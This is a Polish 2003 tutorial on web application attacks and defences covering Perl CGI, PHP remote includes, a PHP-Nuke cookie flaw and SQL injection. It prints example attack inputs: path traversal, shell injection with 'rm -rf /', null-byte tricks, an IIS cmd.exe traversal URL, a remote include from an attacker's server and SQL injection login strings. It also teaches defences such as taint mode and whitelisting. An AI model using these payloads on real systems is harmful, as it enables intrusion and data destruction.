Ataki przy użyciu aplikacji Web

Piotr Jagielski
styczeń 2003



Istotność bezpieczeństwa serwera Web

Oto kilka czynników, dla których szczególnie ważne jest zapewnienie bezpieczeństwa serwera www:

1. CGI (Perl)

Wprowadzenie

Common Gateway Interface to interfejs umożliwiający uruchamianie przez serwer www programów (tzw. skryptów CGI) i przesyłanie wyniku ich działania do klienta przy użyciu protokołu HTTP. Najczęstszymi zastosowaniami CGI jest dynamiczne generowanie dokumentów HTML oraz obrazków, chociaż nie są to jedyne możliwości.

Rys. 1 Ogólny zarys CGI

Interfejs CGI ustanawia środowisko, w którym operują skrypty. Składa się ono ze specjalnych zmiennych środowiskowych oraz danych dostępnych na standardowym wejściu, pobranych z części zasadniczej żądania HTTP. Zmienne środowiskowe dostarczają informacji o żądaniu (metoda żądania, typ i długość części zasadniczej itp.), serwerze Web (oprogramowanie, nazwa i adres ip, katalog z dokumentami www itp.) oraz kliencie, który (w założeniu) wysłał zadanie HTTP (nazwa, ip, używana przeglądarka).

Do tworzenia programów/skryptów CGI można użyć dowolnego języka programowania, który umożliwia czytanie z wejścia i wypisywanie na wyjście. Może to być zarówno język kompilowany, jak i interpretowany. Najpopularniejszy jest Perl wykorzystujący moduł CGI.pm.

Zagrożenia

Podatność serwerów Web na włamania przy użyciu CGI wynika z dwóch powodów. Pierwszy wynika z samej filozofii CGI - dane do skryptów dostarczane są w żądaniach HTTP, a same skrypty działają jako osobne procesy w systemie, na którym działa serwer Web. Fakt zanurzenia CGI w HTTP sprawia, ze dziedziczone są słabości specyfikacji tego protokołu. Chodzi tu o możliwość przesłania dowolnych danych do serwera www w części zasadniczej zadania. Jedyne ograniczenie narzucane przez HTTP to konieczność specjalnego zakodowania danych tak, by było możliwe ich odczytanie na dowolnej platformie sprzętowej i w dowolnym systemie operacyjnym. Inne niedociągnięcia HTTP zostaną również omówione. Natomiast fakt uruchomienia skryptu na serwerze daje dostęp np. do powłoki, której duże możliwości także powodują zagrożenia.

Drugi powód to niewłaściwe użycie języka programowania w napisanym skrypcie CGI. W przypadku Perla niebezpieczeństwo to jest szczególnie realne. Język ten zawiera dużo konstrukcji, których nieznajomość tworzy w skryptach ogromna furtkę dla włamywaczy.

Ufanie danym dostarczonym przez użytkownika

Podstawowym błędem popełnianym w trakcie pisania skryptów CGI jest ufanie danym dostarczonym w żądaniu klienta. Często zakłada się, że użytkownik będzie robił to, czego się od niego oczekuje. Rozumując w ten sposób nie skupiamy się na zachowaniach niestandardowych, które mogą grozić niepożądanymi konsekwencjami.

Rozpatrzmy prosty przykład:

...
$plik = $cgi->param("plik");
$sciezka = "/usr/local/httpd/pliki/$plik";

open(PLIK, $sciezka) or die(...);
...
Jeśli intencją programisty było umożliwienie odczytania zawartości plików w bardzo bezpiecznym katalogu '/usr/local/httpd/pliki', nawet o starannie ustalonych prawach dostępu, to zrobienie tego w taki sposób jest bardzo złym pomysłem. Wystarczy, ze użytkownik jako zmienna plik wyśle '../../../../dowolny_plik_w_systemie' i skrypt będzie próbował wyświetlić zawartość pliku, którego nie powinien udostępniać. Jeśli nie ma do niego dostępu, można spróbować wyświetlić kod źródłowy uruchamianych skryptów CGI, które przecież muszą mieć prawa dostępu do czytania.

Powyższa sytuacja mogła mieć miejsce, gdy np. strona wyświetla listę plików dostępnych w naszym katalogu, z których każdy jest odpowiednim odnośnikiem np.

http://naszafirma.com.pl/cgi-bin/cat.cgi?plik=publiczne_dane.txt

Jest to standardowa postać URL'a w przypadku żądania wysyłanego metodą GET. Wystarczy zatem w pasku adresowym przeglądarki wpisać inny, odpowiednio zakodowany tekst.

Formularze

Wspomniana z poprzednim paragrafie postać URL'a http://cos.com/skrypt.cgi?zm1=wart1&zm2=wart2 występuje w przypadku tworzeniu formularzy wysyłanych metodą GET. Wiele osób uważa, że zmiana metody na POST podnosi poziom bezpieczeństwa. Jest to mylne przekonanie. Co prawda, zmiana przekazywanych w żądaniu parametrów wymaga trochę więcej wysiłku, ale dla wprawnych włamywaczy nie stanowi żadnego problemu. Wystarczy wiedzieć, gdzie jak takie żądanie jest tworzone:

POST /cgi-bin/cat.cgi HTTP/1.1
...... (reszta nagłówka)

plik=publiczne_dane.txt
...... (reszta części zasadniczej)
Teraz przy użyciu np.
telnet naszafirma.com.pl:80
możemy sami skonstruować odpowiednio niestandardowe żądanie.

Inny sposób na oszukanie formularzy polega na skopiowaniu go do siebie, odpowiedniej modyfikacji i wysłaniu danych do analizującego skryptu CGI na atakowanym serwerze (pole ACTION). W protokole HTTP nie ma cech uniemożliwiających formularzowi HTML na jednym komputerze wywołanie skryptu CGI na drugim. Skrypt nie może wiarygodnie sprawdzić źródła pochodzenia formularza. Wielu programistów sprawdza w tym celu zmienną środowiska HTTP_REFERER, ustawianą przez popularne przeglądarki. Jednak istnieje wiele możliwości ominięcia takiej kontroli - np. użycie przeglądarki bardziej konfigurowalnej. Co więcej, istnieją biblioteki, takie jak libwww, które umożliwiają tworzenie i wysyłanie żądań HTTP z poziomu kodu w różnych językach programowania, także w Perlu. W żądaniach tych można w dowolny sposób ustawiać pola takie jak Referer i User-Agent. Dla włamywaczy dostarczenie dowolnych danych do skryptów CGI jest banalnie proste.

Korzystanie z powłoki

Kolejną furtką dla włamywaczy jest niewłaściwe posługiwanie się funkcjami korzystającymi z systemowej powłoki. W Perlu dostęp do niej można uzyskać na wiele różnych sposobów. Najprostsze to: funkcja system() i metoda ` `. W obu tych przypadkach przy przekazywaniu danych pobieranych od użytkownika możliwe jest dopuszczenie wywołania wybranego przez niego polecenia. Przykład:

...
$server = $ENV{'QUERY_STRING'}; 
@scan = `nmap $server`;
...

W tym przypadku wystarczy w QUERY_STRING zakodować 'www.onet.pl; rm -rf /' lub inne groźne polecenie. Zamiast średnika możliwe jest jeszcze użycie znaku nowego wiersza, kodowanego w URL'ach jako %0a. Widać tutaj, że niebezpieczne są nie tylko dane dostarczane jako zmienne przez użytkownika, ale także zmienne środowiska

Często skrypty CGI mają za zadanie pobrać od użytkownika wyrażenie, a następnie przeszukać jakieś pliki pod jego kątem. Używany jest do tego kod:

foreach $user_pattern (@user_patterns) {
    foreach (@files) { 
	print if m/$user_pattern/o; 
    };
}
(postać m/$user_pattern/o ma za zadanie przyspieszyć operację, przez tylko jednokrotną kompilację wzorca).
To jednak nie działa, gdzyż zmienna $user_pattern nie zmienia się w kolejnych obrotach górnej pętli. Dlatego często stosuje się następujący kod:
foreach $user_pattern (@user_patterns) {
    eval "foreach (\@files) { print if m/$user_pattern/o; }";
}
W tym przypadku problem polega na tym, że funkcji eval(), pobierającej kawałek kodu i wykonującej go jak skrypt, można przekazać np. "/; system 'rm *'; /", co przy złej konfiguracji samego serwera kończy się dla niego tragicznie.

Problem z NULL'em

Jest to dość trudna do okiełznania własność. Perl umożliwia dołączanie znanych z C znaków końca łańcucha (\0) do napisów, nie traktując ich jednocześnie w ten sposób. Dlatego w Perlu "ala" != "ala\0". Jednak wołania takie jak open(), exec(), system(), napisane w C, traktują NULL'e w standardowy dla C sposób. Może się więc zdarzyć, ze w skrypcie Perla zarówno "ala" != "ala\0", jak i "ala" == "ala\0", dzięki mieszaniu znaczeń '\0' w różnych językach. Przykład:
	
...
$file="/etc/passwd\0.txt.cokolwiek";
die("Nie lubimy hakerów") if($file eq "/etc/passwd");
if (-e $file){
	open (FILE, ">$file");
}
....
Pierwsze sprawdzenie ($file eq "/etc/passwd") to konstrukcja samego Perla, natomiast druga (-e $file) powoduje wywołanie funkcji systemowej, więc powiedzie się. Kod ten, przy odpowiednich uprawnieniach, otworzyłby '/etc/passwd' do pisania.
(Przy przekazywaniu danych w URL'u '\0' jest kodowane jako '%00').

Często programiści skryptów CGI stosują następujące rozumowanie: kod

$strona= $sciezka.$nazwa.".html";
zapewnia, ze otrzymana zmienna kończy się '.html', niezależnie od wartości zmiennej $nazwa. Jest to oczywiście nieprawda. Dlatego odnośnik

http://mojafirma.com.pl/cgi-bin/strona.cgi?nazwa=1

który ma wyświetlać stronę zapisana w pliku 1.html, może posłużyć do wyświetlenia zawartości jakiegoś innego pliku.

Specjalna postać funkcji open()

Następna dziura w wielu aplikacjach pisanych w Perlu jest wynikiem zapominania o specjalnej postaci funkcji open(). W Perlu wbudowano w nią przekierowanie wejscia/wyjscia. Polecenie

open(PLIK, "$polecenie|")
otwiera potok do wywoływanego polecenia i pozwala czytać jego wyjście. Polecenie jest wtedy wywoływane przez powłokę. Przy przekazaniu zmiennej z 'surowymi' danymi użytkownika do funkcji open() uzyskujemy więc omówiony wcześniej, niebezpieczny dostęp do powłoki i umożliwia na zdalne wykonywanie poleceń (ang. remote execution).

Rozważmy nieco bardziej złożone zabezpieczenie:

$plik="/bardzo/bezpieczny/katalog/$dane"
if(!(-e $plik) die("Nie lubimy hakerów")
open(FILE, $plik)
W tym przypadku na jako dane moglibyśmy przekazać '/../../../bin/ls|', jednak sprawdzenie '-e $plik' nie powiedzie się, gdyż system będzie szukał pliku zakończonego znakiem '|'. Co jednak, gdy przekażemy '../../../bin/ls\0|' ? Wówczas '-e $plik', czyli sprawdzenie systemowe, dostanie de facto '../../../bin/ls' co zakończy się powodzeniem. Na szczęście w wołaniu powłoki zostaną również pominięte dane po '\0', czyli parametry polecenia, więc tym sposobem wypiszemy co najwyżej zawartość katalogu, w którym znajduje się skrypt.

Ukośniki

Często zdarza się, że programista, chcąc zapewnić większe bezpieczeństwo, przetwarza dane dostarczone przez użytkownika przy użyciu wyrażenia regularnego, poprzedzając każde wystąpienie niebezpiecznego metaznaku ukośnikiem '\'. Opracowana przez W3C lista niebezpiecznych metaznaków to &;`'\"|*?~<>^()[]{}$\n\r. Odpowiednie wyrażenie regularne Perla to:
s/([\&;\`'\\\|"*?~<>^\(\)\[\]\{\}\$\n\r])/\\$1/g;
Często jednak pomijane są same ukośniki. Czym to grozi? Rozważmy przykład:
my $dane=$cgi->param("dane");
( $dane ) =~ s/([\&;\`'\|"*?~<>^\(\)\[\]\{\}\$\n\r])/\\$1/g; (bez ukośnika)
Dostarczone więc `rm -rf /` zostanie zmienione na niegroźne \`rm -rf /\`. Jeśli jednak dostarczymy \`rm -rf /\`, to wyrażenie przkształci się do \\`rm -rf /\\`, co zmieni znaczenie samych ukośników, a metaznakom ` nadal pozostawione będzie standardowe, niebezpieczne znaczenie.

Środki zapobiegawcze

Tryb kontroli skażeń

Aby zwiększyć bezpieczeństwo zawsze pamiętać, by odpowiednio przetworzyć dostarczone do skryptu z zewnątrz dane. W Perlu do tego celu służy tzw. tryb kontroli skażeń (ang. taint mode). Zadaniem tego trybu jest niedopuszczenie do tego, aby jakiekolwiek dane spoza aplikacji miały wpływ na cokolwiek wewnątrz aplikacji. Interpreter Perla nie zezwoli na to, aby dane wprowadzone przez użytkownika zostały poddane działaniu instrukcji eval, przetworzone przez powłokę lub użyte do zmiany plików i innych procesów przez funkcje systemowe. Natomiast np. otwarcie pliku ze skażoną nazwą tylko do czytania jest możliwe.
Aby skrypt uruchamiał się w tym trybie należy dla wersji 4 Perla użyć specjalnej wersji interpretera, wpisując w pierwszej linii:

#!/usr/bin/taintperl
Natomiast w od wersji 5 wystarczy użyć specjalnego przełącznika -T:
#!/usr/bin/perl -wT

Gdy Perl działa w trybie kontroli skażeń, każda zmienna jest monitorowana właśnie pod kątem skażenia. Za skażone Perl uznaje wszelkie dane pochodzące spoza kodu - dla skryptów CGI są to więc wszystkie informacje uzyskane od użytkownika. Ponadto każde przypisanie zmiennej skażonej przenosi skażenie na zmienną, na którą przypisujemy.

Oczywiście jest możliwe odkażenie zmiennej, jednak powinno się ono odbywać wraz ze sprawdzeniem, czy dane na niej przechowywane są naprawdę bezpieczne - dopasowanie do wyrażenia regularnego:

my( $nazwa_pliku ) = $cgi->param("nazwa_pliku") =~ /^([\w.]+)$/;
Dokładniej - odkażone są kolejne zwracane na pseudozmiennych $1, $2... dopasowania, jednak ponieważ operator =~ zwraca (w kontekście listy) listę dopasowań, można użyć również powyższej konstrukcji.

W czasie pracy w trybie kontroli skażeń należy zwrócić uwagę na to, że:

Ponadto, przy odkażaniu zmiennych, nie należy zapominać o usunięciu NULL'i, na co jednak wystarczy:
$zmienna =~ s/\0//g;

Unikanie powłoki

Aby bezpiecznie wywołać inne polecenie lub program, najlepiej zrobić to bez pośrednictwa powłoki, metodą fork i exec. W przypadku czytania z polecenia można użyć specjalnej postaci open POTOK, "-|", która jawnie nakazuje rozwidlenie i utworzenie procesu potomnego. Przykład:

my $NMAP = '/usr/bin/nmap';
my $pid = open POTOK, "-|";
die "Nie można rozwidlić $!" unless defined $pid;

unless ($pid) {
	exec $NMAP, $server or die "Nie można utworzyć potoku do nmap";
}
Teraz przekazanie parametru do polecenia nmap odbywa się bezpośrednio.

Bezpieczne wywołania open

W Perlu funkcji open nie trzeba przekazywać osobnego parametru mówiącego o trybie, w jakim ma być otwarty plik. Tryb można zaszyć w łańcuchu, który określa nazwę pliku, przy użyciu dodatkowych znaków:

<nazwa tylko wejście 
>nazwa tylko wyjście 
>>nazwa wyjście z dopisywaniem
itd..
Standardowo, jeśli podano tylko nazwę, Perl próbuje otworzyć plik tylko do odczytu. Jednak, co było omówione wcześniej, istnieje niebezpieczeństwo dodania znaku '|' i otwarcia potoku do zewnętrzego polecenia. Ten trik nie byłby możliwy, gdyby do open przekazać jeden dodatkowy znak '<', mówiący że otwarcie ma być tylko do czytania i to bez przekierowania wejścia/wyjścia.

Strategia zezwalania zamiast zabraniania

W wypadku programowania skryptów CGI rozważenie wszystkich zachowań niepożądanych jest w większości wypadków niemożliwe. Dlatego najlepszą strategią przy przetwarzaniu danych otrzymanych od użytkownika jest ustalenie zestawu znaków, których użycie na pewno nie zagrozi bezpieczeństwu naszego systemu. Najlepiej zacząć od umożliwienia podstawowych działań, następnie rozszerzając o elementy, które dokładnie sprawdzimy. Jeśli np. chcemy otrzymać adres e-mailowy to stosujemy taki kod:
$mail_to = $cgi->param("adres_email");
unless ($mail_to =~ /^[\w.+-]+\@[\w.+-]+$/) {
   die 'Adres nie jest w formie ktos@gdzies.com';
}
(To dopasowanie nie uwzględnia innych form adresów zgodnych z RFC 822, ale do podstawowej funkcjonalności najzupełniej wystarcza).

CGI wrappers i suEXEC

CGI wrapper to program, który uruchamia skrypt należący do danego użytkownika z jego uprawnieniami. Sam jest również skryptem. 'Opakowuje' inne skrypty, próbuje sprawdzać ich podatność na błędy, a przed uruchomieniem loguje aktywność skryptów. Dobrze napisany CGI wrapper jest przezroczysty dla skryptów, które opakowuje, tzn. nie odczuwają one w żaden sposób tego procesu.

cgiwrap

cgiwrap to wrapper napisany przez Nathana Neulingera. Został zaprojektowany do użycia w sieciach z dużą ilością użytkowników, którzy mogą pisać własne skrypty. Do uruchomienia skryptów nie używa standardowego użytkownika nobody, który uniemożliwia sprawdzenie czyj skrypt umożliwił atak, ale działa z uprawnieniami swojego właściciela.

suEXEC

Jest to wrapper silnie zintegrowany z serwerem Apache o funkcjonalności zbliżonej do cgiwrap. Obsługuje nie tylko skrypty CGI, ale też SSI (Server-Side Includes), które także są poważnym źródłem niebezpieczeństw. Swoje logi zapisuje w pliku podanym podczas kompliacji Apache'a w opcji --suexec-logfile

2. PHP

PHP: Hypertext Preprocessor to język programowania zaprojektowany specjalnie do generowania stron w HTML'u. Kod osadzany jest w samych dokumentach. W momencie przyjęcia od klienta żądania obejrzenia takiej strony, zostaje ona przetworzona przez specjalny moduł serwera www, który tworzy wynikowy kod HTML'a i odsyła stronę.

Wiele problemów ze skryptami można przenieść na grunt PHP'a. Skupimy się zatem na innych własnościach

Zdalne pliki

PHP został wyposażony w szereg funkcjonalności, mających za celu ułatwienie programiście bądź projektantowi Web życia. Z perspektywy bezpieczeństwa systemu nie zawsze są one pożądane. Jedną z takich funkcjonalności jest obsługa zdalnych plików. Oto kod służący do otwierania plików:

<?php
    if (!$fd = fopen("$filename", "r"))
      echo ("Nie można otworzyć pliku!<BR>\n");
?>
Otóż w ten sposób można otworzyć nie tylko plik lokalny, ale również znajdujący się na innym serwerze www/ftp. Znana sztuczka polega na zaatakowaniu IIS'a przez przekazanie 'http://serwer/..%c1%1c../winnt/system32/cmd.exe?/d+dir+c:\'.

Sytuacja staje się bardziej ciekawa, jeśli w skrypcie w sposób nieprzemyślany zostanie użyta jedna z funkcji include(), require(), include_once(), require_once(). Powiedzmy:

<?php
    include ($kat_bibliotek . "/languages.php");
?>
Jeśli włamywacz w jakiś sposób będzie mógł zmienić zmienną $kat_bibliotek, umożliwimy mu uruchomienie jego własnego kodu. Wystarczy, że umieści u siebie plik languages.php z kodem np.:
<?php
    passthru("/bin/ls /etc");
?>
a następnie ustawi zmienną $kat_bibliotek na 'http://serwer.hakera.pl/' to funkcja include() wyśle żądanie do jego serwera i włączy plik do swojego kodu, wyświetlając zawartość katalogu etc.

Podmienianie cookie'sów

Ten przykład opisuje pewną dziurę wykrytą w PHP-Nuke - portalu informacyjnym napisanym w PHP. Oto interesujące fragmenty źródeł:
<?PHP

if(!isset($mainfile)) { include("mainfile.php"); }
if(!isset($sid) && !isset($tid)) { exit(); }

if($save) {
    	cookiedecode($user);
    	mysql_query("update users set umode='$mode', uorder='$order',
	thold='$thold' where uid='$cookie[0]'");
        getusrinfo($user);
    	$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
	"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
	"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
        setcookie("user","$info",time()+$cookieusrtime);
}

function cookiedecode($user) {
    	global $cookie;
    	$user = base64_decode($user);
    	$cookie = explode(":", $user);
    	return $cookie;
}
>
Jak widać, autoryzacja użytkowników jest wspomagana użyciem cookie'sów. Co więcej, zmienne $user, $mode, $order, $thold, a także $save (!) są pobierane z zewnątrz, a jedyne zabezbieczenie stanowi funkcja cookiedecode(), która koduje wartość $user do późniejszego umieszczenia w cookie.
Aby uzyskać autoryzację, należy więc odpowiednio zakodować zmienną $user i przekazać ją do skryptu. Zobaczmy:
[haker@phpnuke.org] echo -n "aaa' or uid='1:" | uuencode -m -f
begin-base64 600 f
YWFhJyBvciB1aWQ9JzE6
====
(Polecenie uuencode pozwala za zakodowanie danych kodowaniem base64, czyli takim, jakie zostało użyte w funkcji kodującej cookie).
Teraz wystarczy wysłać w URL'u user=YWFhJyBvciB1aWQ9JzE=&save=1, by odpowiednio zmodyfikować zapytanie SQL'a (szczegóły w sekcji SQL injection).

3. SQL injection

SQL injection to typ ataku, który korzysta z dziur w aplikacjach Web'owych. Wykorzystuje wywołanie zapytania SQL w aplikacji w której nie przetwarza się danych uzyskanych od użytkownika lub stosuje opisaną wcześniej sztuczkę z dekodowaniem cookie'sów. Najczęściej polega na takim skonstruowaniu formuły w klauzuli WHERE zapytania, by sprawdzanie wprowadzonych danych nie miało znaczenia. Rozważmy np. autoryzację użytkowników:

$login = Request.Form("login")
$password = Request.Form("password")

$query = 'SELECT $field FROM $database WHERE Login=' . $login .'AND Password= '. $password . ';';
Jeśli nie sprawdzamy danych pod kątem metaznaków (konkretnie - '), sytuacja może wyglądać bardzo źle. Najprostszy trik to coś w stylu:
login  :   ' or ''='
password : ' or ''='
Sklejone zapytanie wygląda zatem tak:
SELECT $field FROM $database WHERE Login='' or ''='' AND Password='' or ''='';
Oczywiście ''='', więc warunek z klauzuli WHERE jest zawsze prawdziwy.

Co jednak, gdy aplikacja sprawdza, czy zapytanie zwróciło jeden wiersz i tylko wtedy dokonuje autoryzacji? Wystarczy wtedy znać albo nazwę użytkownika albo hasło:

login  :   'Maurycy' and ''='' or ''='
password : ' or ''='
Mamy zapytanie:
SELECT $field FROM $database WHERE Login='Maurycy' and ''='' or ''='' AND Password='' or ''='';
Inny sposób to wykorzystanie SQL'owego komentarza:
login : '/*
password : */ OR ''=' 

Literatura